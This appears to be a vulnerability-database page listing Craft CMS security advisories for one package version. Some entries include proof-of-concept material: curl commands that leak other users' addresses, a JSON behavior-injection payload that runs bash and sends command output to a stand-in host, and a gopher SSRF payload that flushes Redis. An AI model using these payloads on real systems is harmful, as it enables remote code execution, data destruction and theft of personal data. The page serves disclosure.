Search for packages
| purl | pkg:composer/craftcms/cms@4.17.7 |
| Vulnerability | Summary | Fixed by |
|---|---|---|
|
VCID-41uv-1axm-fugb
Aliases: CVE-2026-44010 GHSA-gj2p-p9m4-c8gw |
Craft CMS's Missing Authorization in GraphQL Address Resolver Allows Cross-Scope PII Disclosure ### Summary The GraphQL Address element resolver (src/gql/resolvers/elements/Address.php) performs no schema scope filtering on top-level queries. A GraphQL API token scoped to a single low-privilege user group can read every address in the system, including addresses belonging to users in groups the token has no authorization to access. This exposes PII, including full names, addresses, organizations, tax IDs, etc. ### Details Every GraphQL element resolver in Craft CMS applies schema scope filtering via `GqlHelper::extractAllowedEntitiesFromSchema()` when handling top-level queries, except the Address resolver. The only gate check for addresses is `canQueryUsers()` (`src/gql/queries/Address.php`, line 30), which is a binary check. It returns `true` if the token has access to *any* user group. Once past this gate, no further filtering is applied. ### PoC **Tested on:** CraftCMS 5.9.17 (fresh Docker install, PHP 8.3) **Prerequisites:** A GraphQL API token with read access to any single user group ### Environment - Two user groups: `publicUsers` (in token scope) and `internalTeam` (NOT in scope) - 5 internal executives with corporate addresses (internalTeam) - 3 public customers with personal addresses (publicUsers) - GQL token scoped to `publicUsers:read` only **Step 1:** Introspect the schema to discover the `addresses` query is available to this token. Issue the below curl command ```bash curl -s -H "Authorization: Bearer wbzwuzvlfohtahryztgaawyjpctqdvcm" -H "Content-Type: application/json" -d '{"query": "{ __type(name: \"Query\") { fields { name description } } }"}' http://localhost:8080/actions/graphql/api | jq ``` <img width="1641" height="856" alt="image" src="https://github.com/user-attachments/assets/d798b4d2-9965-40fd-8252-ba6b08d1dde9" /> The token can see `addresses`, `entries`, `users` as top-level queries. **Step 2:** Enumerate Address fields to identify PII exposure surface. ```bash curl -s -H "Authorization: Bearer wbzwuzvlfohtahryztgaawyjpctqdvcm" -H "Content-Type: application/json" -d '{"query": "{ __type(name: \"AddressInterface\") { fields { name type { name } } } }"}' http://localhost:8080/actions/graphql/api | jq ``` <img width="1726" height="862" alt="image" src="https://github.com/user-attachments/assets/31a90b5d-7337-49b9-8802-355f16b7b4f3" /> > Exposed fields include: `fullName`, `firstName`, `lastName`, `addressLine1/2/3`, `locality`, `postalCode`, `countryCode`, `organization`, `organizationTaxId`, `latitude`, `longitude`. > **Step 3:** Establish baseline - confirm the token’s user scope is limited. This proves our token only has access to the `publicUsers` group. ```bash curl -s -H "Authorization: Bearer wbzwuzvlfohtahryztgaawyjpctqdvcm" -H "Content-Type: application/json" -d '{"query": "{ addresses { id fullName firstName lastName addressLine1 addressLine2 locality postalCode countryCode organization organizationTaxId } }"}' http://localhost:8080/actions/graphql/api | jq ``` <img width="1626" height="492" alt="image" src="https://github.com/user-attachments/assets/42ec8c3d-d1ae-4eac-9202-af072f394e4a" /> Only 5 public users returned. Scope enforcement works correctly for the User resolver — internal executives are NOT visible. **Step 4:** Query all addresses - the token returns data for ALL user groups, including those outside its authorized scope. ```bash curl -s -H "Authorization: Bearer wbzwuzvlfohtahryztgaawyjpctqdvcm" -H "Content-Type: application/json" -d '{"query": "{ addresses { id fullName firstName lastName addressLine1 addressLine2 locality postalCode countryCode organization organizationTaxId } }"}' http://localhost:8080/actions/graphql/api | jq ``` <img width="1902" height="910" alt="image" src="https://github.com/user-attachments/assets/ef34e11c-36a8-4582-93e3-04c3e4dad6ab" /> <img width="1444" height="942" alt="image" src="https://github.com/user-attachments/assets/64d6edec-60bf-4481-8a20-7f64c81c015b" /> ▎ "This token can only see 5 users, but it returns 10 addresses" as shown in the above 2 screenshot outputs > **All 10 addresses returned.** The same token that only sees 5 public users now returns addresses for internal executives including corporate tax IDs: > > - Sarah Chen, 4200 Executive Plaza Dr, SF — Horizon Dynamics Inc. (TaxID: 82-4917263) > - James Whitfield, 89 Kensington High St, London — Whitfield Capital Partners LLP (TaxID: GB927461038) > - Maria Rossi, 15 Via della Conciliazione, Roma — Rossi & Bianchi Avvocati (TaxID: IT04829173651) > - David Nakamura, 2-11-3 Meguro, Tokyo — Nakamura Medical Technologies KK (TaxID: JP8230-4719-2835) > - Elena Voronova, 27 Universitätsstrasse, Zurich — Voronova Biotech AG (TaxID: CHE-384.291.057) --- **Step 5:** Targeted IDOR - extract a specific internal user’s address by owner ID. ```bash curl -s -H "Authorization: Bearer wbzwuzvlfohtahryztgaawyjpctqdvcm" -H "Content-Type: application/json" -d '{"query": "{ addresses(ownerId: [3]) { fullName addressLine1 addressLine2 locality postalCode countryCode organization organizationTaxId } }"}' http://localhost:8080/actions/graphql/api | jq ``` <img width="1902" height="365" alt="image" src="https://github.com/user-attachments/assets/b7c6d5cf-295a-433a-a76c-2b69815968cd" /> > Directly extracts a specific internal team member’s address: “Secret Admin”, 1 Secret Government Facility, Suite 007, Langley 22101 — SecretCorp LLC (TaxID: 98-7654321). The token has zero authorization to access this user’s data. ## Impact ### Who is Impacted Any Craft CMS Pro site (v4.0.0+) that uses GraphQL API tokens with user group scoping and stores user addresses. This is the standard deployment pattern for headless CMS sites using frameworks such as Next.js, Nuxt.js, or Gatsby. An attacker with any valid GraphQL token that has access to at least one user group can extract all addresses in the system, regardless of scope restrictions. ### Risk - Direct threat to installation data: Any GraphQL API token with access to any single user group can extract all address systems-wide, including names, home addresses, organizations, and tax IDs belonging to users in restricted groups. - Targeted extraction via IDOR: The `ownerId` argument allows an attacker to extract specific users’ addresses by ID, enabling targeted reconnaissance against administrators or high-value users without any brute-force or elevated access. - Scope boundary failure: Craft CMS’s GraphQL schema scoping system is the primary security mechanism for controlling API access. Every other element resolver (Entry, User, Asset, Category, Tag) enforces this boundary. The Address resolver does not, making this a foundational gap in Craft’s native authorization model and not a site-specific configuration issue. - Affects all installations using GraphQL with user groups: Any Craft CMS Pro site that exposes a scoped GraphQL token and stores addresses is affected. This is the standard headless CMS deployment pattern, not an edge case. ## AI Disclosure This vulnerability was identified through manual source code review with AI-assisted analysis (Claude). The initial pattern deviation (Address resolver missing scope filtering while all other resolvers have it) was identified through manual comparison of resolver implementations. AI was used to assist with code navigation, PoC scripting, and report drafting. All findings were verified against a local Docker instance of Craft CMS 5.9.17. ## Resources https://github.com/craftcms/cms/commit/834b2cf61ad0dcee9b03add44ed402ebf18db128 |
Affected by 0 other vulnerabilities. Affected by 0 other vulnerabilities. |
|
VCID-9ca4-tbhq-27ad
Aliases: CVE-2026-44011 GHSA-qrgm-p9w5-rrfw |
Craft CMS has Potential Authenticated Remote Code Execution via Malicious Attached Behavior We identified a vulnerability in the latest version of Craft CMS which contains an input-handling flaw in a Yii object creation path that let any authenticated user inject malicious configuration and execute arbitrary commands on the server. Yii’s dynamic object configuration, as implemented in Craft CMS, is a feature that lets the application build parts of itself from a settings list. This is largely a continuation of https://github.com/craftcms/cms/security/advisories/GHSA-255j-qw47-wjh5, but through a different path that was not mitigated in the original. The request-controlled condition field layouts data is converted into a live FieldLayout object without a `Component::cleanseConfig()` boundary. Because Craft configures models before `parent::__construct()`, attacker-controlled special config keys can take effect during object creation, and FieldLayout initialization then triggers a same-request event. This appears to be another variant of the recent object-config / behavior-injection bug family, but via the condition / field layout hydration path. We were able to reproduce the attack by issuing a POST request to `/admin/actions/element-search/search` with the following JSON from any connected user. Other routes can be exploited in the same way, including the rest of the element-indexes actions that pass through that same `beforeAction()` path. This results in a curl request to the chosen server with the result of the command “id” for the web user being appended to the path: ``` POST /admin/actions/element-search/search HTTP/2 Host: hostnamehere Cookie: CraftSessionId=...; 1234123412341234_identity=...; CRAFT_CSRF_TOKEN=...; Content-Length: … User-Agent: Mozilla/5.0 X-Csrf-Token: ... Accept: application/json Content-Type: application/json { "elementType": "craft\\elements\\Category", "siteId": 1, "search": "", "condition": { "class": "craft\\elements\\conditions\\ElementCondition", "elementType": "craft\\elements\\Category", "fieldLayouts": [ { "as rce": { "__class": "yii\\behaviors\\AttributeTypecastBehavior", "__construct()": [ { "attributeTypes": { "typecastBeforeSave": [ "Psy\\Readline\\Hoa\\ConsoleProcessus", "execute" ] }, "typecastBeforeSave": "/bin/bash -c \"curl [https://yourcollaboratorservergoeshere/`id`\](https://yourcollaboratorservergoeshere/%60id%60/)"" } ] }, "on *": "self::beforeSave" } ] } } ``` ## Resources https://github.com/craftcms/cms/commit/ab85ca7f5f926994f723f60584054a1f4c4c5de3 |
Affected by 0 other vulnerabilities. Affected by 0 other vulnerabilities. |
|
VCID-e94m-mj1k-8kbr
Aliases: CVE-2026-41129 GHSA-3m9m-24vh-39wx |
Server-Side Request Forgery (SSRF) in Craft CMS with Asset Uploads Mutations ## Required Permissions The exploitation requires a few permissions to be enabled in the used GraphQL schema: * "Edit assets in the <VolumeName> volume" * "Create assets in the <VolumeName> volume" ## Details The implementation fails to restrict the URL Scheme. While the application is intended to "upload assets", there is no whitelist forcing `http` or `https`. This allows attackers to use the Gopher protocol to wrap raw TCP commands. **Impact:** Combined with the DWORD bypass, an attacker can hit internal services without triggering any "127.0.0.1" string-matching filters. **Example Payload:** gopher://2130706433:6379/_FLUSHALL (Targets local Redis via DWORD). **Remediation Strategy** To prevent mathematical IP obfuscation, the application must normalize the hostname before validation. |
Affected by 2 other vulnerabilities. Affected by 3 other vulnerabilities. |
|
VCID-eaxm-rjr7-xudb
Aliases: CVE-2026-33159 GHSA-6mrr-q3pj-h53w |
Craft CMS: Unauthenticated Users Can Perform Restricted Project Config Sync Operations ### Summary Guest users can access Config Sync updater `index`, obtain signed `data`, and execute state-changing Config Sync actions (`regenerate-yaml`, `apply-yaml-changes`) without authentication. ### Details `ConfigSyncController` extends `BaseUpdaterController`, and the base updater is anonymously accessible for control panel requests. `index` emits signed updater state (`data`), which can be reused by guests in subsequent requests. Sensitive actions that are reachable via this method are `actionApplyYamlChanges`, `actionRegenerateYaml`, `applyExternalChanges`, and `regenerateExternalConfig`. #### Reproduction steps 1. Guest POST to: http POST /admin/actions/config-sync/index 2. Extract data from returned JS state: Craft.updater = ... setState({"data":"<signedData>", ...}); 3. Reuse data as a guest: ``` POST /admin/actions/config-sync/regenerate-yaml data=<signedData>&<csrfParam>=<csrfToken> ``` or ``` POST /admin/actions/config-sync/apply-yaml-changes data=<signedData>&<csrfParam>=<csrfToken> ``` 4. Observe completed response and state/file changes. ### Impact Unauthenticated users can execute project configuration sync operations that should be restricted to trusted admin/deployment contexts. Depending on the pending YAML/config state, this can cause unauthorized config state transitions and a service integrity risk. ### Resources https://github.com/craftcms/cms/commit/7f0ead833f7 |
Affected by 4 other vulnerabilities. Affected by 6 other vulnerabilities. |
|
VCID-fpke-p7sz-nfc9
Aliases: CVE-2026-33160 GHSA-5pgf-h923-m958 |
Craft CMS may expose private assets through anonymous "generate transform" calls via transform URL ### Summary An unauthenticated user can call `assets/generate-transform` with a private `assetId`, receive a valid transform URL, and fetch transformed image bytes. The endpoint is anonymous and does not enforce per-asset authorization before returning the transform URL. ### Details Root cause: - Anonymous endpoint accepts user-controlled asset reference. - It creates and returns a transform URL for that asset without checking access rights. - If the transform output is reachable, guest users can read content derived from private assets. Who is impacted: - Installations where private source assets can be transformed and transform URLs are reachable. Security consequence: - Anonymous users can obtain content derived from private assets without authentication. ### Resources https://github.com/craftcms/cms/commit/7290d91639e |
Affected by 4 other vulnerabilities. Affected by 6 other vulnerabilities. |
|
VCID-gzry-xtu5-ukhu
Aliases: CVE-2026-41130 GHSA-95wr-3f2v-v2wh |
Craft CMS has a host header injection leading to SSRF via resource-js endpoint ### Summary The `resource-js` endpoint in Craft CMS allows unauthenticated requests to proxy remote JavaScript resources. When `trustedHosts` is not explicitly restricted (default configuration), the application trusts the client-supplied Host header. This allows an attacker to control the derived `baseUrl`, which is used in prefix validation inside `actionResourceJs()`. By supplying a malicious Host header, the attacker can make the server issue arbitrary HTTP requests, leading to Server-Side Request Forgery (SSRF). ### Details The vulnerability exists in `AppController::actionResourceJs()`. The function validates that the `url` parameter starts with `assetManager->baseUrl`. However, `baseUrl` is derived from the current request host. If `trustedHosts` is not configured, the Host header is fully attacker-controlled. Attack chain: 1. Attacker sends request with controlled `Host` header. 2. Application derives `baseUrl` from the malicious Host. 3. `url` parameter is required to start with this `baseUrl`. 4. Validation passes. 5. Guzzle performs a server-side HTTP request to the attacker-controlled host. 6. SSRF occurs. This does not rely on string parsing bypass. It relies on Host header trust. ### PoC (safe reproduction steps) Environment: - Craft CMS 5.9.12 - Default configuration (no trustedHosts restriction) - Docker deployment 1. Start a listener inside the container: python3 -m http.server 9999 2. Send a request to resource-js with a controlled Host header. 3. Observe that the internal listener receives a request (OOB confirmation). |
Affected by 2 other vulnerabilities. Affected by 3 other vulnerabilities. |
|
VCID-nmzu-mefv-tqeh
Aliases: CVE-2026-33161 GHSA-vgjg-248p-rfm2 |
Craft CMS' anonymous "assets/image-editor" calls return private asset editor metadata to unauthorized users ### Summary A low-privileged authenticated user can call `assets/image-editor` with the ID of a private asset they cannot view and still receive editor response data, including `focalPoint`. The endpoint returns private editing metadata without per-asset authorization validation. Root-cause analysis: 1. `actionImageEditor()` accepts `assetId` from the request body. 2. The asset is loaded, and the focal-point data is read. 3. Response returns `html` and `focalPoint`. 4. No explicit authorization check is applied before the response. ### Impact ## Affected deployments: * Craft sites where asset edit metadata should remain restricted to authorized users. ## Security consequence: * Unauthorized users can extract private editor metadata and related editor context for inaccessible assets. |
Affected by 4 other vulnerabilities. Affected by 6 other vulnerabilities. |
|
VCID-sa99-8awj-eycd
Aliases: GHSA-44px-qjjc-xrhq |
Craft CMS: Authorized asset "preview file" requests bypass allows users without asset access to retrieve private preview metadata ### Summary An authenticated low-privileged user can call `assets/preview-file` for an asset they are not authorized to view and still receive preview response data (`previewHtml`) for that private asset. The returned preview HTML included a private preview image route containing the target private `assetId`, even though `canView` was `false` for the attacker account. ### Details 1. `assets/preview-file` accepts a maliciously controlled `assetId` and renders preview output. 2. The action does not enforce per-asset view authorization prior to returning preview content. 3. As a result, an authenticated user without asset-view permission can still obtain private preview output. This affects Craft installations with authenticated users of mixed privilege levels with private assets. ### Resources - d30df3112220db1ffd6726a3ed11857014c7fb27 - b1cddf72c98a |
Affected by 4 other vulnerabilities. Affected by 6 other vulnerabilities. |
|
VCID-tzjk-x116-ayge
Aliases: CVE-2026-33158 GHSA-3pvf-vxrv-hh9c |
Craft CMS: Low-privilege users could read private asset contents when editing an asset (IDOR) ### Summary A low-privileged authenticated user can read private asset content by calling `assets/edit-image` with an arbitrary `assetId` that they are not authorized to view. The endpoint returns image bytes (or a preview redirect) without enforcing a per-asset view authorization check, leading to potential unauthorized disclosure of private files. ### Details Root cause: - A user-controlled object reference (`assetId`) is used to load and return sensitive content. - The action does not verify whether the current user is authorized to view that asset. - This creates an authenticated IDOR / authorization bypass. ### Impact - Craft installations where private/non-public assets exist and low-privileged users can authenticate. ## Resources https://github.com/craftcms/cms/commit/7290d91639e |
Affected by 4 other vulnerabilities. Affected by 6 other vulnerabilities. |
| Vulnerability | Summary | Aliases |
|---|---|---|
| This package is not known to fix vulnerabilities. | ||